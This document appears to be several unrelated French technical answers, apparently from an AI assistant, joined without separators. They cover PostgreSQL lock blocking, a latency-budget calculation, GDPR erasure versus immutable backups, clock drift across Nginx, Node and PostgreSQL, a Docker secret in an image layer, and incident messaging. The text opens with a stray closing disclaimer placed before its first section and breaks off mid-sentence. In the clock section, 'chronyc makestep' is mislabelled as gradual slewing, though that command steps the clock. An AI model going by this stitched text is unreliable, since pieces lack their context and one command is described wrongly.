- Aucun code SQL ci-dessus n'a été exécuté par mes outils : ils sont écrits d'après la syntaxe PostgreSQL telle que je la connais et doivent être relus, puis testés hors production.## 1. Attente
**Nature établie par les deux indices donnés :** la session est en attente d'un verrou lourd (*heavyweight lock*) du gestionnaire de verrous, pas d'une I/O ni d'un verrou léger.
- `wait_event_type = 'Lock'` classe l'attente dans la famille des verrous transactionnels et objets (relation, transactionid, tuple, etc.). La colonne complémentaire **`wait_event`** donne le sous-type exact et c'est elle qui oriente le diagnostic :
| `wait_event` typique | Interprétation la plus fréquente |
|---|---|
| `transactionid` | Attente de la fin d'une transaction concurrente qui a modifié la même ligne (UPDATE/DELETE conflictuel) |
| `tuple` | File d'attente sur un tuple précis, plusieurs sessions en queue derrière la même ligne |
| `relation` | Verrou de table incompatible, typiquement un DDL (`ALTER TABLE`, `TRUNCATE`, `CREATE INDEX` non concurrent) contre du DML, ou l'inverse |
| `object` / `extend` / `virtualxid` | Verrou sur objet catalogue, extension de fichier, ou identifiant virtuel de transaction |
- La requête n'est **pas** en échec : elle attend indéfiniment, sauf si `lock_timeout` ou `statement_timeout` sont positionnés.
**Point de rigueur :** je n'affirme pas qu'il s'agit d'un interblocage. Un vrai *deadlock* est détecté automatiquement par PostgreSQL après `deadlock_timeout` et l'une des transactions est annulée avec une erreur explicite. Ici, l'attente persiste, donc c'est une contention simple à sens unique, ou une chaîne de blocage, et non un cycle.
## 2. Bloqueur
`pg_blocking_pids(pid) = [77]` signifie : **le backend de PID 77 détient un verrou incompatible avec celui demandé, et lui seul.**
Deux nuances importantes :
- Cette fonction ne remonte que les blocages du gestionnaire de verrous lourds. Elle ne couvre pas les attentes d'un autre type (par exemple `wait_event_type = 'LWLock'` ou `'IO'`), ce qui est cohérent avec le cas présent.
- Un seul PID retourné ne prouve pas que 77 est la **racine** du problème. Le PID 77 peut lui-même être bloqué par un troisième backend. Il faut donc remonter la chaîne : `pg_blocking_pids(77)`.
Le profil le plus courant, à **vérifier** et non à supposer : PID 77 est en état `idle in transaction`, c'est-à-dire une transaction ouverte par l'application qui a pris un verrou puis n'a jamais fait `COMMIT` ni `ROLLBACK` (transaction laissée en suspens par un pool de connexions, un traitement applicatif long, une console ouverte).
## 3. Action de diagnostic, non destructive
Aucune de ces requêtes ne modifie l'état du cluster.
**a) Photographie complète du couple bloqué/bloqueur, avec la chaîne de blocage :**
```sql
SELECT
a.pid,
a.state,
a.wait_event_type,
a.wait_event,
pg_blocking_pids(a.pid) AS bloque_par,
now() - a.xact_start AS duree_transaction,
now() - a.state_change AS duree_dans_etat,
a.backend_type,
a.application_name,
a.client_addr,
a.usename,
a.datname,
left(a.query, 300) AS requete
FROM pg_stat_activity AS a
WHERE a.pid = ANY (ARRAY[77]::int[])
OR cardinality(pg_blocking_pids(a.pid)) > 0
ORDER BY duree_transaction DESC NULLS LAST;
```
Lecture attendue :
- Si PID 77 affiche `state = 'idle in transaction'` avec un `duree_transaction` élevé, la cause est applicative : transaction non close. Le `query` affiché est alors la **dernière** requête exécutée, pas une requête en cours, piège classique d'interprétation.
- Si PID 77 affiche `state = 'active'` avec une requête longue, c'est un traitement réellement en cours et la bonne décision peut être d'attendre sa fin.
- Si `bloque_par` de 77 est non vide, remontez d'abord la chaîne jusqu'au bloqueur racine.
**b) Identifier l'objet et le mode de verrou exacts, pour comprendre la nature du conflit :**
```sql
SELECT
l.pid,
l.locktype,
l.mode,
l.granted,
l.transactionid,
coalesce(c.relname, l.locktype) AS cible,
l.page,
l.tuple
FROM pg_locks AS l
LEFT JOIN pg_class AS c ON c.oid = l.relation
WHERE l.pid IN (77) -- ajoutez ici le PID en attente
ORDER BY l.pid, l.granted DESC;
```
La ligne `granted = false` est le verrou demandé par la victime, les lignes `granted = true` du PID 77 sont les verrous détenus. Le couple de `mode` (par exemple `AccessExclusiveLock` contre `RowExclusiveLock`) explique le conflit de façon déterministe.
**c) Vérifier la stabilité du blocage avant d'agir :** exécutez la requête (a) deux ou trois fois à 5 à 10 secondes d'intervalle. Si `wait_event`, le PID bloqueur et l'objet ne changent pas, le blocage est bien persistant et non un pic transitoire de contention.
**d) Contexte serveur, pour la prévention :**
```sql
SELECT name, setting, unit
FROM pg_settings
WHERE name IN ('lock_timeout','statement_timeout','deadlock_timeout',
'idle_in_transaction_session_timeout','log_lock_waits');
```
**e) Action corrective non intrusive, à privilégier :** faire clore la transaction par son propriétaire légitime (`COMMIT` ou `ROLLBACK` côté application ou console qui détient PID 77). C'est la seule voie sans perte de travail arbitraire.
## 4. Action de dernier recours, destructive
Ces deux appels sont des **opérations destructives** : ils provoquent un `ROLLBACK` et la perte du travail non commité de la session visée. Prérequis avant exécution, sans exception :
1. Identification confirmée du bloqueur racine, et pas seulement du premier PID retourné.
2. **Accord explicite de l'exploitant ou du propriétaire applicatif** de la session 77, ou procédure d'astreinte l'autorisant.
3. Trace conservée de la photographie du point 3-a, pour l'analyse post-incident.
4. Droits requis : être le propriétaire de la session, ou membre de `pg_signal_backend`, ou superutilisateur.
**Étape 1, la moins destructive : annuler la requête en cours, la session survit.**
```sql
SELECT pg_cancel_backend(77);
```
Retourne `true` si le signal a été envoyé. Point de rigueur : **un retour `true` ne prouve pas l'annulation effective.** Il prouve seulement l'envoi du signal. Cet appel est de plus inopérant sur une session `idle in transaction`, puisqu'il n'y a aucune requête à annuler, alors que les verrous, eux, restent détenus.
**Étape 2, seulement si l'étape 1 échoue ou est inapplicable : terminer la session.**
```sql
SELECT pg_terminate_backend(77);
```
Effet : `ROLLBACK` de la transaction, libération de tous ses verrous, fermeture de la connexion. La session en attente obtient alors son verrou et poursuit.
**Vérification obligatoire après action**, ne concluez jamais au succès sur le seul retour de la fonction :
```sql
-- 1) le bloqueur a-t-il réellement disparu ?
SELECT count(*) AS bloqueur_encore_present
FROM pg_stat_activity WHERE pid = 77;
-- 2) la victime a-t-elle été débloquée ?
SELECT pid, state, wait_event_type, wait_event, pg_blocking_pids(pid)
FROM pg_stat_activity
WHERE cardinality(pg_blocking_pids(pid)) > 0;
```
Le blocage n'est résolu que si la première requête renvoie 0 **et** que la seconde ne retourne plus la session victime.
**Interdit formel :** ne jamais utiliser `kill -9` sur un processus backend, et encore moins sur le processus `postmaster`. Un `SIGKILL` sur un backend empêche le nettoyage propre de la mémoire partagée et déclenche un redémarrage du cluster avec récupération après arrêt brutal, donc une interruption de service généralisée. `pg_terminate_backend`, qui correspond à un `SIGTERM` géré proprement, est la seule voie correcte.
## 5. Risques résiduels et prévention
**Risques résiduels après terminaison**, à ne pas passer sous silence :
- Perte définitive du travail non commité de la session 77, y compris des écritures que l'application croyait acquises.
- Erreur remontée à l'application propriétaire de 77, avec possible cascade fonctionnelle si elle ne gère pas la reconnexion.
- Récurrence quasi certaine si la cause est un défaut applicatif : une transaction jamais close reviendra au prochain passage du même code.
- Sur un pool de connexions, la connexion tuée peut être recyclée dans un état inattendu selon la configuration du pooler.
- Si le blocage était une chaîne, tuer 77 peut simplement déplacer le point de contention vers le maillon suivant.
**Garde-fous à mettre en place**, ces paramètres transforment une attente infinie en erreur bornée et traçable :
```sql
-- côté session ou rôle applicatif, à calibrer selon la charge réelle
SET lock_timeout = '5s'; -- échoue plutôt que d'attendre un verrou
SET statement_timeout = '30s'; -- borne la durée d'une requête
SET idle_in_transaction_session_timeout = '60s'; -- tue les transactions laissées ouvertes
-- côté serveur, pour la traçabilité
ALTER SYSTEM SET log_lock_waits = on; -- journalise les attentes > deadlock_timeout
```
Les valeurs ci-dessus sont des ordres de grandeur usuels à ajuster à votre charge, ce ne sont pas des recommandations chiffrées universelles.
Au niveau applicatif : transactions les plus courtes possibles, jamais d'attente d'entrée utilisateur ou d'appel réseau externe à l'intérieur d'une transaction ouverte, ordre d'accès aux objets homogène entre traitements, et pour les DDL, usage de `CREATE INDEX CONCURRENTLY` ainsi qu'un `lock_timeout` court avec réessai plutôt qu'un `ALTER TABLE` qui bloque toute la table sur un `AccessExclusiveLock`.
## Réserve de sourçage
Les vues `pg_stat_activity`, `pg_locks`, les fonctions `pg_blocking_pids`, `pg_cancel_backend`, `pg_terminate_backend` et les paramètres `lock_timeout`, `statement_timeout`, `idle_in_transaction_session_timeout`, `deadlock_timeout`, `log_lock_waits` relèvent de la documentation officielle PostgreSQL. J'ai interrogé mon encyclopédie locale, qui ne contient pas d'article couvrant ces mécanismes de verrouillage avec le niveau de détail requis, je n'ai donc pas pu en produire une citation vérifiée. Cette réponse repose sur ma connaissance technique et non sur une source que j'ai pu consulter ici, et elle peut être périmée sur des points de version. Je recommande de confirmer les noms de colonnes et le comportement exact contre la documentation officielle de **votre** version majeure, via `SELECT version();`, avant toute exécution en production. Aucune des requêtes ci-dessus n'a été exécutée par moi.## Données
| Poste | Valeur |
|---|---|
| Budget client total | 1000 ms |
| Proxy | 50 ms |
| Application (hors dépendance) | 100 ms |
| Marge de sécurité réservée | 100 ms |
## Calcul, les trois soustractions
1. Retrait du proxy : $1000 - 50 = 950$ ms
2. Retrait du temps applicatif : $950 - 100 = 850$ ms
3. Retrait de la marge : $850 - 100 = 750$ ms
Forme condensée :
$$T_{dep} = 1000 - 50 - 100 - 100 = 750\ \text{ms}$$
## Résultat
**Timeout maximal de dépendance : 750 ms.**
Vérification par somme inverse : $750 + 100 + 100 + 50 = 1000$ ms, soit exactement le budget client, ce qui confirme la cohérence du découpage.
## Hypothèses et limites
- Modèle purement additif et séquentiel : les postes sont supposés s'enchaîner sans recouvrement, et une seule dépendance est appelée une seule fois. Si la dépendance est appelée $n$ fois en série, le plafond par appel devient $750/n$ ms.
- Ce budget de 750 ms est un plafond dur côté timeout. S'il existe une politique de reprise, le total des tentatives doit rester sous 750 ms : par exemple 1 tentative plus 1 reprise implique environ $750/2 = 375$ ms par tentative, hors délai d'attente entre reprises.
- Les 50 ms et 100 ms sont ici traités comme des valeurs fixes. En production, ces postes sont des distributions : il est plus sûr de dimensionner sur un quantile haut (p99) que sur une moyenne, sinon la marge de 100 ms est consommée par la seule variance interne.
- Le budget client de 1000 ms est supposé mesuré côté client, donc incluant le temps réseau client vers proxy. Si ce temps réseau n'est pas compris dans les 50 ms du proxy, le plafond réel de 750 ms doit être réduit d'autant.## Diagnostic Le conflit est structurel, non accidentel : l'effacement demandé à J0 s'applique au système de production, mais la sauvegarde utilisée pour la restauration à J10 a été figée avant l'effacement et est immuable jusqu'à J30. Restaurer réintroduit donc mécaniquement les données censées être effacées. Le droit à l'effacement est prévu par l'article 17 du RGPD, qui oblige le responsable de traitement à effacer les données dans les meilleurs délais (source : article Wikipédia FR « Règlement général sur la protection des données », tableau des principales dispositions). Le RGPD consacre aussi le principe de responsabilité, selon lequel le responsable doit pouvoir démontrer à tout moment le respect de ses obligations (même source). Précision de méthode : l'arbitrage juridique fin entre effacement immédiat et impossibilité technique des sauvegardes immuables ne figure pas dans les sources dont je dispose ici. Les quatre mesures ci-dessous sont donc présentées comme mesures d'ingénierie de conformité défendables au titre de la responsabilité et de la sécurité, non comme une doctrine juridique sourcée. Une validation par votre DPO ou votre conseil est nécessaire. ## Quatre mesures de conformité **1. Registre d'effacement persistant et rejeu automatique après restauration** Conserver la demande de J0 dans un registre de suppressions stocké hors du périmètre restauré (base séparée, non couverte par la sauvegarde J0), contenant l'identifiant technique minimal nécessaire, l'horodatage, la portée et la base juridique. Toute restauration déclenche obligatoirement, avant remise en service, le rejeu des effacements enregistrés entre la date de la sauvegarde et la date de restauration. Justification : c'est la seule façon de démontrer que la réapparition est transitoire et maîtrisée, au titre du principe de responsabilité (source : même article, principe « accountability »). Le registre doit contenir le strict minimum de données, conformément à la logique de minimisation. **2. Restauration en zone isolée, puis promotion contrôlée** Ne jamais restaurer directement en production. Séquence : restauration dans un environnement cloisonné, sans flux sortants (pas d'e-mail, pas de facturation, pas d'export, pas d'alimentation de modèles ni d'entrepôt analytique), application du rejeu d'effacement, contrôle de non-réapparition, puis seulement promotion. Accès en moindre privilège, nominatif, journalisé, avec séparation des droits entre l'opérateur de restauration et l'opérateur d'effacement. Risque résiduel à nommer explicitement : pendant la fenêtre de restauration, les données existent en clair dans l'environnement de travail ; cette fenêtre doit être bornée dans le temps et surveillée. **3. Traçabilité documentaire, information de la personne concernée et qualification d'incident** Documenter l'ensemble : demande, date, impossibilité technique d'atteindre les sauvegardes immuables avant J30, mesures compensatoires, date de purge définitive attendue, preuves de rejeu. Informer la personne concernée du traitement de sa demande dans le délai de réponse d'un mois prévu par l'article 12 du RGPD (source : même article, ligne « Transparence des informations et modalités de l'exercice des droits »), en indiquant que les copies de sauvegarde résiduelles disparaîtront à leur expiration et ne sont pas exploitées. Si des données réintroduites ont effectivement été traitées, exposées ou diffusées, évaluer sans délai la qualification en violation de données : le RGPD impose la notification à l'autorité de contrôle en cas de risque pour les personnes, idéalement dans les 72 heures suivant la découverte, et l'information des personnes en cas de risque élevé (source : même article, article 33, ligne « Les notifications en cas de fuite de données »). **4. Verrouillage des usages et contrôle de la purge à J30** Interdire, par mesure technique et non par simple consigne, tout usage secondaire des données réapparues : pas de copie, pas de dérivation, pas d'inclusion dans un jeu d'entraînement, pas de nouvelle sauvegarde du périmètre concerné sans rejeu préalable de l'effacement. Puis vérifier positivement à J30 l'expiration effective des sauvegardes immuables et produire une attestation de purge datée, avec la liste des supports concernés. Contrôle indispensable : vérifier qu'aucune copie hors politique n'a été créée entre J0 et J30, notamment sauvegarde de sauvegarde, réplication géographique, export de test ou copie sur poste d'administrateur. ## Vérification à exiger avant clôture du dossier | Point de contrôle | Preuve attendue | |---|---| | Rejeu d'effacement après restauration | Journal horodaté du rejeu, requête de vérification retournant 0 enregistrement pour l'identifiant visé | | Absence de flux sortant pendant l'isolement | Logs réseau et applicatifs de la fenêtre de restauration | | Purge des sauvegardes | Inventaire des supports et attestation d'expiration à J30 | | Absence de copie parallèle | Inventaire des réplications, exports et environnements dérivés | | Traçabilité de la demande | Enregistrement de la demande J0 et de la réponse dans le délai d'un mois | ## Risques et limites Trois limites doivent être assumées explicitement. D'abord, l'immuabilité étant par construction non modifiable, aucune mesure ne rend l'effacement complet avant J30 : la conformité repose sur la démonstration de maîtrise, non sur la suppression physique immédiate. Ensuite, un rejeu d'effacement réussi sur les enregistrements visés ne prouve pas l'absence de traces dérivées, par exemple index de recherche, caches, journaux applicatifs, agrégats analytiques ; ces cibles secondaires doivent figurer explicitement dans la procédure. Enfin, l'appréciation finale, notamment la qualification éventuelle en violation de données et l'admissibilité de l'argument d'impossibilité technique, relève du DPO et, le cas échéant, de l'autorité de contrôle ; je ne peux pas la trancher avec les sources dont je dispose.
## 1. Diagnostic chiffré
Conversion en secondes depuis minuit et calcul des écarts (calcul exécuté avec l'outil local) :
| Composant | Horodatage | Secondes | Écart vs Nginx | Écart vs PostgreSQL |
|---|---|---|---|---|
| Nginx | 14:00:05 | 50405 | 0 | +3 s |
| PostgreSQL | 14:00:02 | 50402 | -3 s | 0 |
| Node | 13:59:20 | 50360 | **-45 s** | **-42 s** |
**Dérive apparente de Node : environ -43 s** (moyenne des deux écarts : $\frac{(-45)+(-42)}{2} = -43{,}5$ s), donc une horloge Node en retard d'environ 43 secondes par rapport au couple Nginx/PostgreSQL, lui-même cohérent à 3 s près.
Précision de vocabulaire indispensable : il s'agit d'un **écart apparent entre horodatages**, pas d'une dérive d'horloge prouvée. Deux hypothèses concurrentes expliquent la même observation, et vos trois lignes de log ne permettent pas de les séparer :
- **Hypothèse A, décalage d'horloge (la plus probable) :** l'horloge de la machine Node est désynchronisée d'environ 43 s. Les 3 s entre PostgreSQL et Nginx sont alors compatibles avec une latence de requête normale, si Nginx écrit sa ligne d'accès en fin de requête (comportement usuel du journal d'accès Nginx, à confirmer dans votre configuration).
- **Hypothèse B, latence réelle :** les horloges sont justes et la requête a duré environ 45 s (Node journalise à l'entrée, PostgreSQL au moment de la requête SQL, Nginx à la clôture). Un timeout amont, une saturation de pool de connexions ou un GC long produisent exactement ce profil.
Hypothèses écartables par le calcul :
- **fuseau horaire :** les décalages de fuseau sont des multiples de 15 minutes ; 43 s ne peut pas en provenir ;
- **seconde intercalaire :** l'ordre de grandeur est de 1 s, pas 43 s (le protocole NTP gère explicitement les secondes intercalaires, source : article « Network Time Protocol », encyclopédie locale) ;
- **échelle TAI au lieu d'UTC :** cela mettrait l'horloge **en avance** de quelques dizaines de secondes, or Node est en retard. L'écart TAI-UTC exact n'est pas vérifiable avec mes outils, je ne l'avance donc pas comme chiffre.
## 2. Risques
| Risque | Nature | Portée |
|---|---|---|
| Inversion causale dans les traces | Certain si A | Un événement postérieur apparaît antérieur, la reconstitution d'incident devient fausse |
| Corrélation multi-services cassée | Certain si A | Toute jointure temporelle (fenêtre de 5 s, 30 s) rate des événements, les tableaux de bord de latence sont faux |
| Mesure de latence erronée | Certain | Un délai calculé entre deux horloges désynchronisées mesure la dérive, pas la performance |
| Sécurité et authentification | Élevé | Validation de JWT (`exp`, `nbf`), TOTP, signatures, cookies de session : un retard de 43 s peut accepter un jeton expiré ou rejeter un jeton valide |
| Certificats et TLS mutuel | Modéré | Fenêtres de validité mal évaluées |
| Valeur probatoire des journaux | Élevé | Des horodatages divergents affaiblissent l'**intégrité perçue** et l'exploitabilité en audit ou en litige ; la journalisation ne devient pas fausse pour autant, elle devient non comparable |
| Idempotence et déduplication | Modéré | Toute logique fondée sur `created_at` (verrous expirants, fenêtres anti-rejeu, TTL) peut se comporter de façon incorrecte |
| Diagnostic erroné (si B) | Réel | Conclure « dérive d'horloge » alors qu'un incident de latence de 45 s est en cours masque le vrai problème |
Ce dernier point est le risque méthodologique majeur : traiter B comme A revient à réparer une horloge et à laisser passer une panne de performance.
## 3. Source de vérité
Trois niveaux à ne pas confondre.
**a) Pour l'heure absolue :** aucune des trois horloges applicatives n'est source de vérité. La source de vérité est une **référence de temps externe**, une hiérarchie NTP (serveurs de stratum 1, eux-mêmes adossés à des horloges de référence), ou PTP si vous avez besoin d'une précision supérieure. L'architecture NTP diffuse l'heure de proche en proche depuis des machines racines, le `stratum` mesurant la distance à ces racines et servant d'indicateur de qualité de synchronisation (source : article « Network Time Protocol », encyclopédie locale). Dans l'observation présente, PostgreSQL et Nginx ne sont qu'un **quorum de deux sur trois** : c'est un indice fort désignant Node comme l'aberrant, ce n'est pas une preuve. Si les deux tournaient sur le même hôte ou le même hyperviseur, l'accord serait corrélé et donc peu informatif.
**b) Pour la mesure de durée :** l'horloge **monotone** du processus, jamais l'horloge murale. En Node, `process.hrtime.bigint()` ou `performance.now()`, non `Date.now()`, qui peut sauter lors d'une correction NTP.
**c) Pour l'ordre des événements :** l'horodatage mural ne doit pas arbitrer la causalité. La source de vérité d'ordre est le **graphe de trace distribuée** : un `trace_id` avec des `span` parent/enfant (contexte de trace W3C, propagé par en-tête, ce que met en œuvre OpenTelemetry). L'ordre y est structurel, donc insensible à la dérive.
Formulation à retenir : Nginx et PostgreSQL sont la **référence provisoire de corrélation**, la référence NTP est la **source de vérité de l'heure**, la trace est la **source de vérité de l'ordre**.
## 4. Correction
### Phase 0, constater sans rien casser (aucune action destructive)
À exécuter sur les trois hôtes, en lecture seule.
```bash
# Décalage réel mesuré et état de synchronisation
timedatectl status
chronyc tracking # si chrony
chronyc sources -v
ntpq -pn # si ntpd
# Décalage vis-a-vis d'une référence, sans modifier l'horloge locale
chronyd -Q 'server pool.ntp.org iburst' # mode requete seule
```
Vérification indépendante côté base, où l'écart client/serveur se lit directement :
```sql
SELECT now() AS heure_serveur_pg, clock_timestamp() AS horloge_pg;
```
Enregistrez ces sorties avant toute correction : elles constituent votre point de comparaison et votre preuve.
### Phase 1, discriminer A et B (étape à ne pas sauter)
Prélevez, pour le même `request_id`, les durées mesurées **à l'intérieur d'un seul composant**, ce qui est immune à la dérive inter-hôtes :
- Nginx : `$request_time` et `$upstream_response_time` ;
- Node : durée mesurée à l'horloge monotone entre entrée et sortie du traitement ;
- PostgreSQL : `duration` de `log_min_duration_statement`, et `pg_stat_statements` si l'extension est installée.
Règle de décision :
| Observation | Conclusion |
|---|---|
| `$request_time` d'environ 45 s | Hypothèse B, incident de latence. Corrigez la performance en priorité |
| `$request_time` faible (moins de 1 s) et écart de 43 s persistant | Hypothèse A, dérive d'horloge sur l'hôte Node |
| `$request_time` faible **et** écart variable d'une requête à l'autre | Dérive active, oscillateur non synchronisé, à traiter d'urgence |
Une seule requête ne tranche pas. Prélevez un échantillon (par exemple quelques centaines de requêtes) et regardez la **distribution** de l'écart Node vs Nginx : une dérive d'horloge donne un décalage à peu près constant ou à pente régulière, une latence donne une distribution étalée à queue longue.
### Phase 2, corriger l'horloge (si A confirmée)
Approche réversible et non brutale. Ne forcez pas un saut d'horloge sur un service en production sans précaution : un saut arrière de 43 s peut violer des invariants applicatifs (TTL, verrous, séquences horodatées).
```bash
# 1. Installer et activer un client NTP discipline (exemple chrony)
sudo apt-get install -y chrony # Debian/Ubuntu
sudo systemctl enable --now chrony
```
Configuration recommandée, avec au moins trois serveurs pour permettre l'élimination d'un serveur aberrant (le principe de sélection du meilleur serveur fait partie des algorithmes du protocole, source : article « Network Time Protocol », encyclopédie locale) :
```
# /etc/chrony/chrony.conf (extrait, adaptez a votre parc)
pool ntp.votre-domaine.interne iburst maxsources 4
server 169.254.169.123 iburst # service NTP local du cloud, si disponible
makestep 1.0 3 # saut autorise seulement aux 3 premieres mises a jour
rtcsync
driftfile /var/lib/chrony/chrony.drift
```
Correction contrôlée, en préférant un rattrapage progressif au saut immédiat :
```bash
# Rattrapage lent (slewing), sans discontinuite brutale
sudo chronyc makestep # a n'utiliser qu'apres arret ou drainage du service Node
# Verification
chronyc tracking | grep -E 'System time|Last offset|Leap status'
```
Séquence sûre en production : retirer l'instance Node du pool amont (drainage de l'équilibreur), corriger l'horloge, vérifier, remettre en service. Si un saut arrière est inévitable et que l'application dépend de `Date.now()` pour des invariants, redémarrez le processus Node après correction.
Rollback : chrony ne détruit rien, mais conservez la sauvegarde de la configuration (`cp /etc/chrony/chrony.conf /etc/chrony/chrony.conf.bak`) et notez l'offset initial mesuré en phase 0 pour pouvoir documenter et, si besoin, revenir en arrière.
Cas particulier des conteneurs : un conteneur **ne possède pas d'horloge propre**, il hérite de celle du noyau hôte. Ne lancez jamais chrony ni ntpd dans un conteneur applicatif, corrigez l'hôte ou le nœud. Sur machine virtuelle, vérifiez aussi la synchronisation hyperviseur (par exemple `vmtoolsd`, `qemu-guest-agent`), une double discipline concurrente produit des oscillations.
### Phase 3, rendre le problème structurellement impossible
Uniformiser le format d'horodatage. Objectif : **UTC, ISO 8601, précision milliseconde, sur les trois composants.**
Nginx, format de journal explicite (directives standard du module de journalisation, vérifiez-les pour votre version) :
```nginx
log_format lanxas_json escape=json
'{"ts_msec":"$msec",'
'"time_iso":"$time_iso8601",'
'"request_id":"$http_x_request_id",'
'"request_time":"$request_time",'
'"upstream_time":"$upstream_response_time",'
'"status":"$status","uri":"$uri"}';
access_log /var/log/nginx/access.json lanxas_json;
```
PostgreSQL, préfixe de ligne avec horodatage à la milliseconde et durées :
```
log_timezone = 'UTC'
log_line_prefix = '%m [%p] db=%d,user=%u,app=%a '
log_min_duration_statement = 200 # ms, a calibrer
```
Node, horodatage UTC explicite et durée monotone :
```js
// logger.js -- horodatage UTC + duree mesuree a l'horloge monotone
function nowUtc() {
return new Date().toISOString(); // toujours UTC, suffixe Z
}
function startTimer() {
const t0 = process.hrtime.bigint(); // horloge MONOTONE, immune aux sauts NTP
return () => Number(process.hrtime.bigint() - t0) / 1e6; // ms
}
function log(level, requestId, msg, extra = {}) {
process.stdout.write(JSON.stringify({
ts: nowUtc(),
level,
request_id: requestId,
msg,
...extra,
}) + '\n');
}
module.exports = { nowUtc, startTimer, log };
```
Middleware de corrélation, avec propagation de l'identifiant et durée fiable :
```js
const { randomUUID } = require('crypto');
const { log, startTimer } = require('./logger');
module.exports = function correlation(req, res, next) {
// On accepte l'en-tete amont, sinon on en genere un.
// Validation par liste blanche : on refuse tout ce qui n'est pas un identifiant sur.
const incoming = req.get('x-request-id');
const safe = typeof incoming === 'string' && /^[A-Za-z0-9-]{8,64}$/.test(incoming);
req.requestId = safe ? incoming : randomUUID();
res.setHeader('x-request-id', req.requestId);
const elapsed = startTimer();
log('info', req.requestId, 'request.start', { method: req.method, path: req.path });
res.on('finish', () => {
log('info', req.requestId, 'request.end', {
status: res.statusCode,
duration_ms: Number(elapsed().toFixed(3)),
});
});
next();
};
```
Le filtre par liste blanche sur `x-request-id` n'est pas cosmétique : un identifiant recopié tel quel dans un journal permet une injection de journal (retours chariot forgés créant de fausses lignes), et son affichage ultérieur dans une console d'administration ouvrirait un XSS.
Marquage de la session PostgreSQL, pour que le `request_id` apparaisse dans les journaux de la base sans concaténation SQL :
```js
// application_name porte le request_id, transmis en parametre lie (jamais concatene)
await client.query('SELECT set_config($1, $2, false)', ['application_name', req.requestId]);
```
Supervision permanente de la dérive, pour que l'incident soit détecté avant l'analyse d'un log :
- métrique exportée par hôte : offset absolu vis-à-vis de la référence (par exemple `chrony_tracking_system_time_seconds` selon votre exportateur, à vérifier dans sa documentation) ;
- alerte d'avertissement au-delà de 100 ms, alerte critique au-delà de 1 s, alerte également sur `Leap status` différent de `Normal` et sur un `stratum` anormalement élevé ;
- tableau de bord unique affichant l'offset des trois hôtes côte à côte.
Adoptez enfin une trace distribuée (contexte W3C propagé par en-tête) : elle rend l'ordre des événements indépendant des horloges, ce qui est la seule correction réellement structurelle.
## 5. Vérification, critères d'acceptation
1. Sur les trois hôtes, offset absolu inférieur à 50 ms, `Leap status: Normal`, service de synchronisation actif et persistant après redémarrage (`systemctl is-enabled`).
2. Sur un échantillon de requêtes, écart entre l'horodatage Node d'entrée et l'horodatage Nginx de sortie compatible avec `$request_time` à quelques dizaines de millisecondes près.
3. Ordre chronologique reconstitué conforme à l'ordre causal attendu (entrée Node, requête PostgreSQL, clôture Nginx) sur au moins plusieurs centaines de requêtes consécutives.
4. Redémarrage volontaire d'un hôte suivi d'un retour à un offset inférieur à 50 ms en moins de quelques minutes.
5. Alerte de dérive testée par injection contrôlée d'un offset sur un hôte de préproduction, jamais en production.
## 6. Limites et incertitudes
- Avec trois lignes de log uniquement, il est **impossible** de trancher entre dérive d'horloge et latence réelle. Toute conclusion définitive avant la phase 1 serait une affirmation non étayée.
- Le chiffre de -43 s est une **moyenne d'écarts apparents** sur une observation unique. Sans mesure répétée, ni sa constance ni sa pente ne sont établies.
- Les 3 s entre PostgreSQL et Nginx sont ambigus : latence normale, ou dérive résiduelle plus faible, ou combinaison des deux.
- L'accord Nginx/PostgreSQL constitue un faisceau d'indices, non une preuve : si ces deux composants partagent un hôte ou un hyperviseur, ils peuvent être faux ensemble.
- Le point 2 des critères d'acceptation suppose que Nginx journalise en fin de requête. Vérifiez ce comportement dans la documentation de votre version avant de vous appuyer sur ce test.
- La validation sur un échantillon fini, même large, ne prouve pas l'absence future de dérive. Seule une supervision continue avec alerte fournit une garantie opérationnelle.
- Les directives de configuration citées correspondent à ma connaissance technique des logiciels concernés ; je ne les ai pas vérifiées contre la documentation de vos versions exactes, ni exécutées. Testez-les en préproduction.
- Aucune des commandes ci-dessus n'a été exécutée par moi. Les seuls résultats calculés sont les écarts du tableau initial.
- Une correction d'horloge rétablit la **comparabilité** des journaux à partir de maintenant.| Point | Réponse |
|---|---|
| **Présence finale dans le filesystem** | **Absente** de la vue fusionnée du conteneur : la couche suivante masque le fichier supprimé au moyen d’un whiteout. |
| **Présence historique** | **Toujours présente dans la couche antérieure** tant que cette couche existe dans l’image, un cache, un registre ou une sauvegarde. La suppression ultérieure ne réécrit pas la couche. |
| **Exposition** | Toute personne pouvant récupérer l’image ou la couche concernée peut extraire la clé. Elle doit donc être considérée comme **compromise**, même si elle n’apparaît plus dans le conteneur final. |
| **Correction du build** | **Révoquer et remplacer immédiatement la clé**, puis reconstruire l’image sans l’écrire dans une couche, idéalement avec un secret BuildKit (`RUN --mount=type=secret`). Purger ensuite les images, caches et couches compromis dans la mesure du possible. |
Exemple recommandé :
```dockerfile
# syntax=docker/dockerfile:1
RUN --mount=type=secret,id=api_key \
commande-utilisant-la-cle "$(cat /run/secrets/api_key)"
```
```bash
docker build --secret id=api_key,src=api_key.txt -t mon-image .
```
Un simple `rm`, même dans une couche ultérieure, ne supprime pas le secret de l’historique. Un build multi-stage ne suffit pas non plus si le secret est écrit dans une couche exportée ou conservée dans un cache de build.## Quatre contenus obligatoires **1. Périmètre et impact factuels** Nommer précisément le service touché (authentification / connexion), les fonctions indisponibles ou dégradées, les populations concernées (tous les utilisateurs, une région, un canal), et ce qui restait fonctionnel. Uniquement du constaté, jamais du supposé. **2. Chronologie horodatée et statut courant** Heure de début du dysfonctionnement, heure de rétablissement, durée constatée de 40 minutes, fuseau horaire explicite, et statut au moment de l'envoi (« incident en cours » ou « service rétabli, surveillance renforcée »). L'horodatage est ce qui rend le message vérifiable par le client. **3. Actions engagées et consigne opérationnelle pour l'utilisateur** Ce qui est fait côté fournisseur, formulé sans cause (« investigation et rétablissement en cours par les équipes techniques »), et surtout la conduite à tenir : reconnexion, vidage de session, contournement disponible, éventuelle nécessité de rejouer une opération, absence ou non de perte de données constatée à ce stade. Si l'impact sur les données ou les sessions n'est pas encore établi, le dire tel quel. **4. Prochaine mise à jour et canal officiel unique** Heure ou délai de la prochaine communication (par exemple : point suivant sous 60 minutes, même si rien de nouveau), canal de référence (page de statut, adresse de support), et engagement sur une analyse post-incident publiée ultérieurement. La gestion des incidents est habituellement suivie d'une analyse post-incident, dite post mortem, destinée à éviter la réitération (article « Gestion des incidents », Wikipédia FR, encyclopédie locale LANXAS). ## Fondement et périmètre de ces exigences ITIL érige explicitement en composante de la gestion des incidents « la propriété, le pilotage, le suivi et la communication », définie comme le 